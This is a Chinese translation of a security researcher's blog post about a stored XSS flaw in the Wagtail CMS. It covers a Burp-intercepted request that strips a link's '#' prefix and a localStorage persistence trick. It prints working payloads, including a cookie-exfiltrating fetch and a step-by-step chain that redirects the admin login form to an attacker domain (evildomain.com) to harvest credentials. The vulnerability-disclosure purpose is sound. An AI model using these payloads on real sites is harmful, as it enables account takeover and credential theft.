原文链接:
https://www.immersivelabs.com/resources/blog/wagtail-xss-localstorage-account-hijack/
Wagtail
Wagtail是一个开源内容管理系统(CMS)。它是用Python编写的,目标是Web框架的Django生态系统。

设置
要感谢Wagtail开发人员-进行设置和运行非常简单。在我拥有一个可以访问并开始使用的本地运行实例之前,在Python虚拟环境中运行所有内容只花了不到几分钟的时间。
或者我以为...
看起来不错。我可以访问管理面板和帐户并创建页面,但是我只能创建哪些内容。这使我们回到了Wa。它不是用于创建内容的综合Web应用程序,而是用于内容管理的功能全面且可扩展的基本应用程序。
最初,我认为我必须构建自己的应用程序,以暴露API来测试所有功能,而这并不是我想要花费的时间。毕竟,这本来应该是一个快速的错误查找。
幸运的是,我不必这样做,因为Wagtail还提供了一个名为Bakery的演示项目。
该演示站点提供了一些常用功能和配方示例,以向您介绍Wagtail开发。除了代码,它还使您可以探索CMS的管理和编辑界面。
这似乎是测试的理想选择,它的设置与以前几乎相同,不同之处在于它还提供了docker-compose.yml文件,该文件通过“真实”数据库ElasticSearch和Redis以及主要应用程序提供了更具代表性的生产环境。 。我不需要此入门,所以我坚持使用Python虚拟环境。
初始设置有一些差异。注意对base.txt文件的编辑,以安装最新版本的Wagtail,而不是固定版本。
成功!现在,我们有了一个功能齐全且在本地运行的Wagtail实例,该实例更能代表实际安装。

现在我们可以开始寻找漏洞了。我一直发现最容易发现XSS错误-只需寻找用户输入的任何地方,然后看看您可以使用它做什么。
在尝试了不同类型的输入之后,当前端渲染或验证所有输入时,似乎一切都已正确地转义了。因此,我改变了方法,查看了发送到服务器的数据,以查看是否可以绕过任何验证。
XSS
这是我们发现漏洞的地方。RichText插件之一允许您添加链接,并且如果我们可以控制URL,则可以注入javascript:href。这意味着单击链接的任何人都可以运行我们提供的JavaScript。

上面的图像看起来并不令人满意。如果尝试每种链接类型,则可以看到,如果尝试添加JavaScript src属性,则内部,外部和电子邮件类型都无法在服务器端进行验证。
但是,电话和锚链接将允许我们设置URL并保存它。不幸的是,当在前端渲染时,它会在属性前面加上tel:或#,具体取决于我们选择的格式,从而有效地删除了XSS。
我一直专注于创建链接元素的请求,试图篡改发送到服务器的数据,以查看是否可以绕过或修改数据以删除要插入的前缀。

退后一步,我查看了用于保存整个页面内容的POST请求,而不是用于保存我们要添加的链接的POST请求。链接内容也在此请求中设置。

在Burp中截获了请求之后,我删除了作为属性URL前缀的#,然后单击“转发”以将修改后的请求发送到服务器。
成功!
它需要有人单击链接进行交互,但是如果他们这样做,我们将获得成功的XSS。

武器化XSS
部署好XSS之后,我们需要对它进行武器化处理,否则它就不是一个有效的漏洞。我们有两个目标:
对于大多数Wagtail实施,我希望最终用户不会带来太大的风险。他们毕竟不可能访问网站的任何敏感部分或数据。
定位主持人或管理员的风险较高,因为我们可以以最低权限级别进行这些更改-作为编辑者。
是的,这里有社会工程学在起作用,是的,对于管理员和版主来说可能是显而易见的。这里的重点不是创造最有说服力的诱饵-只是为了展示各种可能性。
因此,让我们看一些有效负载。
这里最明显的一种是sessionid从cookie中获取。然后,我们可以通过替换自己的会话来模拟该帐户。就像使用cookie读取cookie值document.cookie并将其通过fetch API将其发布到我们自己的域一样简单。
javascript:fetch('http://127.0.0.1:8282/cookie?cookie='+document.cookie);

我们得到了cookie,但是它没有会话ID。这是因为cookie值设置为HttpOnly,这意味着无法从JavaScript访问它。我们还可以看到CSRF令牌,这意味着尝试自动化任务(例如创建新的管理员帐户或升级我们的帐户权限)将变得更加困难。
当我在寻找可能存储会话ID的其他位置时,我发现本地存储中有些非常奇怪的东西。

无需特别说明,本地存储是一个密钥对值存储,可将数据持久存储在本地浏览器中,更重要的是,JavaScript可以对其进行读写。
此特定密钥用于存储SVG数据,该数据用于在管理界面中显示图标。我不会撒谎:这曾经使我感到困惑。为什么开发人员以这种方式使用本地存储?其他字体和图标是使用Font Awesome加载的。
那么我们如何滥用呢?首先,让我们看一下是否可以将某些内容呈现到浏览器中。
首次编写脚本标签的尝试失败。
javascript:localStorage.setItem('wagtail:spriteData', '<script>alert("xss");</script>');
我认为这是由于此元素呈现到DOM中的方式所致:它从不执行脚本标签,但是还有其他方法。
javascript:localStorage.setItem('wagtail:spriteData', '<img src=1 onerror="javascript:alert(1)"></img>');
像以前一样拦截请求,任何人单击链接都不会看到可见的更改。但是,如果您导航到/admin页面,则本地存储代码将写入DOM,并且我们的XSS将触发。实际上,每次在此浏览器中访问管理页面时,我们的XSS都会触发-甚至在用户注销后也可以运行。

现在我们有足够的能力来构建完整的漏洞利用链:
- 编辑页面或元素,使我们可以添加或修改链接元素
- 将类型设置为锚链接
- 设置URL以匹配下面的代码块
- 插入锚点
- 保存草稿或发布页面并拦截请求
- 从网址中删除#并转发修改后的请求
javascript:localStorage.setItem('wagtail:spriteData', '<img src=1 onerror="javascript:window.onload = function(){let form = document.getElementsByTagName(\'form\')[0]; form.action = \'https://evildomain.com/login.html\'; form.method = \'get\';}"></img>');
这里有很多事情,所以让我们分解一下。
单击链接后wagtail:spriteData,将更新本地存储中命名的键,并将其值设置为:
'<img src=1 onerror="javascript:window.onload = function(){let form = document.getElementsByTagName(\'form\')[0]; form.action = \'https://evildomain.com/login.html\'; form.method = \'get\';}"></img>'
现在,每次用户访问登录页面并且此代码从本地存储加载时,img创建的标记都带有错误的src,这意味着其中的代码onerror将运行。
中的JavaScript代码onerror将等待页面完成加载。页面准备就绪后,它将查找HTML表单。如果找到表单,它将更改action为指向由攻击者控制的域。我们也将设置为method,GET而不是POST,但这只是为了使其更易于演示。
结果是目标用户下次尝试登录时,实际上将向我们发送其凭据。

译者按:
作者首先发现了一个储存型xss,通过绕过前端验证,成功插入了xss payload。但是因为配置有Httponly,无法使用js来获取cookie信息。然后作者又发现localstorage里有一些配置的代码,通过修改localstorage里的代码,引入xss 的payload进一步劫持用户名密码,来造成账号劫持。整个利用还是比较有趣的。
本文迁移自知识星球“火线Zone”